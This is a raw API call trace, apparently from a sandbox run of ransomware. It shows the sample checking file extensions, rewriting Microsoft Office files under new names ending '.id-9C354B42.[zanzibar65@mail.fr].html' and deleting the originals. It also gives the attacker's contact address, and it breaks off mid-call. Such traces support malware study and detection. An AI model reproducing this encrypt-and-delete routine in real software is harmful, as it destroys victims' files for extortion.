[0040.765] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.765] lstrlenW (lpString=".1cd") returned 4 [0040.765] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.765] lstrlenW (lpString=".jpg") returned 4 [0040.765] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.765] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.765] lstrlenW (lpString="WordMUI.XML") returned 11 [0040.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.765] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1800) returned 1 [0040.765] CloseHandle (hObject=0x1e8) returned 1 [0040.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0040.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.766] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.766] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.767] GetLastError () returned 0x0 [0040.767] ReadFile (in: hFile=0x1e8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x708, lpOverlapped=0x0) returned 1 [0040.769] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x710, lpOverlapped=0x0) returned 1 [0040.770] ReadFile (in: hFile=0x1e8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.770] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.770] SetEndOfFile (hFile=0x1f0) returned 1 [0040.770] CloseHandle (hObject=0x1f0) returned 1 [0040.770] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.770] SetEndOfFile (hFile=0x1e8) returned 1 [0040.771] CloseHandle (hObject=0x1e8) returned 1 [0040.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.772] lstrlenW (lpString=".doc") returned 4 [0040.772] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.772] lstrlenW (lpString=".docx") returned 5 [0040.772] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.772] lstrlenW (lpString=".pdf") returned 4 [0040.772] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.772] lstrlenW (lpString=".xls") returned 4 [0040.772] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.772] lstrlenW (lpString=".xlsx") returned 5 [0040.772] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.772] lstrlenW (lpString=".ppt") returned 4 [0040.772] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.772] lstrlenW (lpString=".zip") returned 4 [0040.772] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.772] lstrlenW (lpString=".rar") returned 4 [0040.772] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.772] lstrlenW (lpString=".bz2") returned 4 [0040.772] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.772] lstrlenW (lpString=".7z") returned 3 [0040.772] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.772] lstrlenW (lpString=".dbf") returned 4 [0040.772] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.773] lstrlenW (lpString=".1cd") returned 4 [0040.773] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.773] lstrlenW (lpString=".jpg") returned 4 [0040.773] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.773] lstrlenW (lpString=".doc") returned 4 [0040.773] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.773] lstrlenW (lpString=".docx") returned 5 [0040.903] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.903] lstrlenW (lpString=".pdf") returned 4 [0040.903] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.903] lstrlenW (lpString=".xls") returned 4 [0040.903] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.903] lstrlenW (lpString=".xlsx") returned 5 [0040.903] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.903] lstrlenW (lpString=".ppt") returned 4 [0040.903] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.903] lstrlenW (lpString=".zip") returned 4 [0040.903] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.903] lstrlenW (lpString=".rar") returned 4 [0040.903] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.903] lstrlenW (lpString=".bz2") returned 4 [0040.903] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.904] lstrlenW (lpString=".7z") returned 3 [0040.904] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.904] lstrlenW (lpString=".dbf") returned 4 [0040.904] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.904] lstrlenW (lpString=".1cd") returned 4 [0040.904] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0040.904] lstrlenW (lpString=".jpg") returned 4 [0040.904] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.904] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.904] lstrlenW (lpString="STOCKS.XML") returned 10 [0040.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.019] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2687) returned 1 [0041.019] CloseHandle (hObject=0x184) returned 1 [0041.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0041.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.020] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.020] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.020] GetLastError () returned 0x0 [0041.020] ReadFile (in: hFile=0x184, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xa7f, lpOverlapped=0x0) returned 1 [0041.021] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xa80, lpOverlapped=0x0) returned 1 [0041.022] ReadFile (in: hFile=0x184, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0041.022] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0041.023] SetEndOfFile (hFile=0x1c4) returned 1 [0041.023] CloseHandle (hObject=0x1c4) returned 1 [0041.023] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.023] SetEndOfFile (hFile=0x184) returned 1 [0041.024] CloseHandle (hObject=0x184) returned 1 [0041.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.024] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0041.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.025] lstrlenW (lpString=".doc") returned 4 [0041.025] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.025] lstrlenW (lpString=".docx") returned 5 [0041.025] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0041.025] lstrlenW (lpString=".pdf") returned 4 [0041.025] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.025] lstrlenW (lpString=".xls") returned 4 [0041.025] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.025] lstrlenW (lpString=".xlsx") returned 5 [0041.025] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0041.025] lstrlenW (lpString=".ppt") returned 4 [0041.025] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.025] lstrlenW (lpString=".zip") returned 4 [0041.025] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.025] lstrlenW (lpString=".rar") returned 4 [0041.025] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.025] lstrlenW (lpString=".bz2") returned 4 [0041.025] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.025] lstrlenW (lpString=".7z") returned 3 [0041.025] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.025] lstrlenW (lpString=".dbf") returned 4 [0041.025] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.026] lstrlenW (lpString=".1cd") returned 4 [0041.026] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.026] lstrlenW (lpString=".jpg") returned 4 [0041.026] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.026] lstrlenW (lpString=".doc") returned 4 [0041.026] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString=".docx") returned 5 [0041.026] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0041.026] lstrlenW (lpString=".pdf") returned 4 [0041.026] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString=".xls") returned 4 [0041.026] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString=".xlsx") returned 5 [0041.026] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0041.026] lstrlenW (lpString=".ppt") returned 4 [0041.026] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.026] lstrlenW (lpString=".zip") returned 4 [0041.026] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.026] lstrlenW (lpString=".rar") returned 4 [0041.026] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString=".bz2") returned 4 [0041.026] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString=".7z") returned 3 [0041.026] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.026] lstrlenW (lpString=".dbf") returned 4 [0041.026] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.026] lstrlenW (lpString=".1cd") returned 4 [0041.027] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0041.027] lstrlenW (lpString=".jpg") returned 4 [0041.027] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.027] lstrcmpiW (lpString1=".XSL", lpString2=".html") returned 1 [0041.027] lstrlenW (lpString="BASMLA.XSL") returned 10 [0041.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.027] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=227311) returned 1 [0041.027] CloseHandle (hObject=0x184) returned 1 [0041.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0041.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.027] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.028] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.028] GetLastError () returned 0x0 [0041.028] ReadFile (in: hFile=0x184, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x377ef, lpOverlapped=0x0) returned 1 [0041.033] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0041.038] ReadFile (in: hFile=0x184, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0041.038] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0041.038] SetEndOfFile (hFile=0x1c4) returned 1 [0041.038] CloseHandle (hObject=0x1c4) returned 1 [0041.041] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.041] SetEndOfFile (hFile=0x184) returned 1 [0041.043] CloseHandle (hObject=0x184) returned 1 [0041.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.043] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0041.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.043] lstrlenW (lpString=".doc") returned 4 [0041.043] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0041.043] lstrlenW (lpString=".docx") returned 5 [0041.043] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0041.043] lstrlenW (lpString=".pdf") returned 4 [0041.043] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0041.043] lstrlenW (lpString=".xls") returned 4 [0041.043] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0041.043] lstrlenW (lpString=".xlsx") returned 5 [0041.043] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0041.043] lstrlenW (lpString=".ppt") returned 4 [0041.044] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.044] lstrlenW (lpString=".zip") returned 4 [0041.044] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0041.044] lstrlenW (lpString=".rar") returned 4 [0041.044] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString=".bz2") returned 4 [0041.044] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString=".7z") returned 3 [0041.044] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0041.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.044] lstrlenW (lpString=".dbf") returned 4 [0041.044] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.044] lstrlenW (lpString=".1cd") returned 4 [0041.044] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.044] lstrlenW (lpString=".jpg") returned 4 [0041.044] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.044] lstrlenW (lpString=".doc") returned 4 [0041.044] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString=".docx") returned 5 [0041.044] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0041.044] lstrlenW (lpString=".pdf") returned 4 [0041.044] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString=".xls") returned 4 [0041.044] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0041.044] lstrlenW (lpString=".xlsx") returned 5 [0041.044] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0041.044] lstrlenW (lpString=".ppt") returned 4 [0041.045] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0041.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.045] lstrlenW (lpString=".zip") returned 4 [0041.045] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0041.045] lstrlenW (lpString=".rar") returned 4 [0041.045] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0041.045] lstrlenW (lpString=".bz2") 